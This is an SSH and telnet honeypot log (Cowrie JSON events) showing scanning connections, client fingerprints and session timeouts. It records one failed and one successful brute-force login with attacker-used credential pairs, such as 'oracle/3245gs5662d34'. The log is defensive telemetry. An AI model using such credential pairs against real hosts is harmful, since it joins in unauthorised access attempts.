{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":33114,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0ac4d3fc68b","protocol":"ssh","message":"New connection: 68.183.236.1:33114 (159.203.135.109:22) [session: a0ac4d3fc68b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:56.202324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:56.207352Z","src_ip":"68.183.236.1","session":"a0ac4d3fc68b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:56.223294Z","src_ip":"159.203.92.129","session":"5e79a1781470","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":40476,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb4a279fc73b","protocol":"telnet","message":"New connection: 144.79.218.12:40476 (10.17.0.5:23) [session: fb4a279fc73b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:56.388840Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:56.460932Z","src_ip":"68.183.236.1","session":"a0ac4d3fc68b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:57.507662Z","src_ip":"68.183.236.1","session":"a0ac4d3fc68b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55868,"dst_ip":"159.203.135.109","dst_port":23,"session":"76aeb2edba5e","protocol":"telnet","message":"New connection: 69.6.225.50:55868 (159.203.135.109:23) [session: 76aeb2edba5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:58.348128Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55880,"dst_ip":"159.203.135.109","dst_port":23,"session":"011ca0e23709","protocol":"telnet","message":"New connection: 69.6.225.50:55880 (159.203.135.109:23) [session: 011ca0e23709]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:58.353838Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55882,"dst_ip":"159.203.135.109","dst_port":23,"session":"b59936a11f24","protocol":"telnet","message":"New connection: 69.6.225.50:55882 (159.203.135.109:23) [session: b59936a11f24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:58.596809Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:58.764136Z","src_ip":"68.183.236.1","session":"a0ac4d3fc68b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55886,"dst_ip":"159.203.135.109","dst_port":23,"session":"d108bde9ef8b","protocol":"telnet","message":"New connection: 69.6.225.50:55886 (159.203.135.109:23) [session: d108bde9ef8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:58.816679Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":40484,"dst_ip":"10.17.0.5","dst_port":23,"session":"7970d8cbb513","protocol":"telnet","message":"New connection: 144.79.218.12:40484 (10.17.0.5:23) [session: 7970d8cbb513]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:58.992031Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":33116,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5fa1560fa6a","protocol":"ssh","message":"New connection: 68.183.236.1:33116 (159.203.135.109:22) [session: b5fa1560fa6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:59.004809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:59.009168Z","src_ip":"68.183.236.1","session":"b5fa1560fa6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.63414716720581,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:59.061862Z","src_ip":"69.6.225.50","session":"a65e64767b01","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:59.254515Z","src_ip":"68.183.236.1","session":"b5fa1560fa6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55902,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e03c3718ee2","protocol":"telnet","message":"New connection: 69.6.225.50:55902 (159.203.135.109:23) [session: 2e03c3718ee2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:59.368950Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":52248,"dst_ip":"10.17.0.5","dst_port":23,"session":"796bd45f5fd7","protocol":"telnet","message":"New connection: 144.79.218.12:52248 (10.17.0.5:23) [session: 796bd45f5fd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:59.503107Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55916,"dst_ip":"159.203.135.109","dst_port":23,"session":"3826e0295c4b","protocol":"telnet","message":"New connection: 69.6.225.50:55916 (159.203.135.109:23) [session: 3826e0295c4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:14:59.846178Z"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:00.269963Z","src_ip":"68.183.236.1","session":"b5fa1560fa6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:00.525122Z","src_ip":"68.183.236.1","session":"1be88b4c9cf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:00.531211Z","src_ip":"68.183.236.1","session":"b5fa1560fa6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55926,"dst_ip":"159.203.135.109","dst_port":23,"session":"93e0e8c08d65","protocol":"telnet","message":"New connection: 69.6.225.50:55926 (159.203.135.109:23) [session: 93e0e8c08d65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:00.585376Z"}
{"eventid":"cowrie.session.closed","duration":30.761545181274414,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:01.088487Z","src_ip":"69.6.225.50","session":"e9e1c653b308","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.304585218429565,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:01.204298Z","src_ip":"69.6.225.50","session":"4b2a6d440d19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55936,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2bc078dd6a3","protocol":"telnet","message":"New connection: 69.6.225.50:55936 (159.203.135.109:23) [session: e2bc078dd6a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:01.299761Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55950,"dst_ip":"159.203.135.109","dst_port":23,"session":"4cac659d4838","protocol":"telnet","message":"New connection: 69.6.225.50:55950 (159.203.135.109:23) [session: 4cac659d4838]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:01.314803Z"}
{"eventid":"cowrie.session.closed","duration":30.733103275299072,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:01.379506Z","src_ip":"69.6.225.50","session":"104b62f2134c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":52256,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab108b210dcf","protocol":"telnet","message":"New connection: 144.79.218.12:52256 (10.17.0.5:23) [session: ab108b210dcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:01.810731Z"}
{"eventid":"cowrie.session.closed","duration":33.58258247375488,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:02.773182Z","src_ip":"144.79.218.12","session":"eaabaa19befa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.440211057662964,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:03.211045Z","src_ip":"144.79.218.12","session":"f29120ee1072","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55962,"dst_ip":"159.203.135.109","dst_port":23,"session":"c920d4c4e67a","protocol":"telnet","message":"New connection: 69.6.225.50:55962 (159.203.135.109:23) [session: c920d4c4e67a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:03.532032Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55968,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ee7bbf8bb7e","protocol":"telnet","message":"New connection: 69.6.225.50:55968 (159.203.135.109:23) [session: 9ee7bbf8bb7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:03.553634Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55982,"dst_ip":"159.203.135.109","dst_port":23,"session":"b13c2785ce33","protocol":"telnet","message":"New connection: 69.6.225.50:55982 (159.203.135.109:23) [session: b13c2785ce33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:03.834129Z"}
{"eventid":"cowrie.session.closed","duration":33.54963755607605,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:04.029223Z","src_ip":"144.79.218.12","session":"00eef6d544ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.777703762054443,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:04.264996Z","src_ip":"69.6.225.50","session":"1c6c7e0ee006","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":52260,"dst_ip":"10.17.0.5","dst_port":23,"session":"f85ac91f0cb2","protocol":"telnet","message":"New connection: 144.79.218.12:52260 (10.17.0.5:23) [session: f85ac91f0cb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:04.621904Z"}
{"eventid":"cowrie.session.closed","duration":37.20179891586304,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:04.635162Z","src_ip":"144.79.218.12","session":"9cd74f61420f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.775216817855835,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:05.050031Z","src_ip":"69.6.225.50","session":"f695b3246305","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55990,"dst_ip":"159.203.135.109","dst_port":23,"session":"7942763cbc73","protocol":"telnet","message":"New connection: 69.6.225.50:55990 (159.203.135.109:23) [session: 7942763cbc73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:05.127793Z"}
{"eventid":"cowrie.session.closed","duration":30.933767557144165,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:05.145992Z","src_ip":"69.6.225.50","session":"4ac657260404","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55992,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a206a528701","protocol":"telnet","message":"New connection: 69.6.225.50:55992 (159.203.135.109:23) [session: 2a206a528701]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:05.371835Z"}
{"eventid":"cowrie.session.closed","duration":30.91936469078064,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:05.481463Z","src_ip":"69.6.225.50","session":"70eb839e1ab4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.039090633392334,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:05.709106Z","src_ip":"144.79.218.12","session":"296452c26b05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.4312629699707,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:05.794437Z","src_ip":"144.79.218.12","session":"2dafc0e234ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":52274,"dst_ip":"10.17.0.5","dst_port":23,"session":"0241c540b632","protocol":"telnet","message":"New connection: 144.79.218.12:52274 (10.17.0.5:23) [session: 0241c540b632]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:05.948703Z"}
{"eventid":"cowrie.session.closed","duration":30.750800848007202,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:06.044874Z","src_ip":"69.6.225.50","session":"cddfe67f0671","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.55042791366577,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:06.136667Z","src_ip":"144.79.218.12","session":"9adfbf85940a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":56006,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec019458ca85","protocol":"telnet","message":"New connection: 69.6.225.50:56006 (159.203.135.109:23) [session: ec019458ca85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:06.358117Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":56016,"dst_ip":"159.203.135.109","dst_port":23,"session":"e200eb28d422","protocol":"telnet","message":"New connection: 69.6.225.50:56016 (159.203.135.109:23) [session: e200eb28d422]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:06.408998Z"}
{"eventid":"cowrie.session.closed","duration":30.53870725631714,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:07.054416Z","src_ip":"69.6.225.50","session":"833afd3920e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.59617280960083,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:07.064607Z","src_ip":"69.6.225.50","session":"c93cf4afe732","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":56032,"dst_ip":"159.203.135.109","dst_port":23,"session":"857c0df9764d","protocol":"telnet","message":"New connection: 69.6.225.50:56032 (159.203.135.109:23) [session: 857c0df9764d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:07.383039Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":52288,"dst_ip":"10.17.0.5","dst_port":23,"session":"de8fddd8f5a5","protocol":"telnet","message":"New connection: 144.79.218.12:52288 (10.17.0.5:23) [session: de8fddd8f5a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:07.656722Z"}
{"eventid":"cowrie.session.closed","duration":30.379223108291626,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:08.055319Z","src_ip":"69.6.225.50","session":"1db65b214f84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":51780,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d9ea241e02f","protocol":"telnet","message":"New connection: 69.6.225.50:51780 (159.203.135.109:23) [session: 4d9ea241e02f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:08.060680Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":51788,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c12f46aa34e","protocol":"telnet","message":"New connection: 69.6.225.50:51788 (159.203.135.109:23) [session: 1c12f46aa34e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:08.065123Z"}
{"eventid":"cowrie.session.closed","duration":30.639215230941772,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:08.082885Z","src_ip":"69.6.225.50","session":"f63ab965ce1d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.888716459274292,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:09.081160Z","src_ip":"69.6.225.50","session":"e0e53d5a5958","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.42910075187683,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:09.087213Z","src_ip":"69.6.225.50","session":"ab39bc946a4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.71172094345093,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:09.585121Z","src_ip":"144.79.218.12","session":"8731bcd6e95f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":51796,"dst_ip":"159.203.135.109","dst_port":23,"session":"9aa03a26bb72","protocol":"telnet","message":"New connection: 69.6.225.50:51796 (159.203.135.109:23) [session: 9aa03a26bb72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:09.590961Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":51812,"dst_ip":"159.203.135.109","dst_port":23,"session":"ceefd8dafb91","protocol":"telnet","message":"New connection: 69.6.225.50:51812 (159.203.135.109:23) [session: ceefd8dafb91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:09.885297Z"}
{"eventid":"cowrie.session.closed","duration":37.19025897979736,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:10.175607Z","src_ip":"144.79.218.12","session":"695e5732bc01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":51814,"dst_ip":"159.203.135.109","dst_port":23,"session":"695939ccfc34","protocol":"telnet","message":"New connection: 69.6.225.50:51814 (159.203.135.109:23) [session: 695939ccfc34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:10.224073Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":51816,"dst_ip":"159.203.135.109","dst_port":23,"session":"39b07640ded9","protocol":"telnet","message":"New connection: 69.6.225.50:51816 (159.203.135.109:23) [session: 39b07640ded9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:10.411086Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":51832,"dst_ip":"159.203.135.109","dst_port":23,"session":"239498922fd3","protocol":"telnet","message":"New connection: 69.6.225.50:51832 (159.203.135.109:23) [session: 239498922fd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:10.847289Z"}
{"eventid":"cowrie.session.closed","duration":31.221121311187744,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:11.023641Z","src_ip":"69.6.225.50","session":"770523e9a68d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.59385657310486,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:11.089113Z","src_ip":"69.6.225.50","session":"74fcf4e97bec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.38378620147705,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:11.120122Z","src_ip":"69.6.225.50","session":"df9e68f4499b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.90437436103821,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:11.332377Z","src_ip":"144.79.218.12","session":"c4eca7e95c33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.67491388320923,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:15:11.350372Z","src_ip":"69.6.225.50","session":"00c1520d4b4f","protocol":"telnet"}
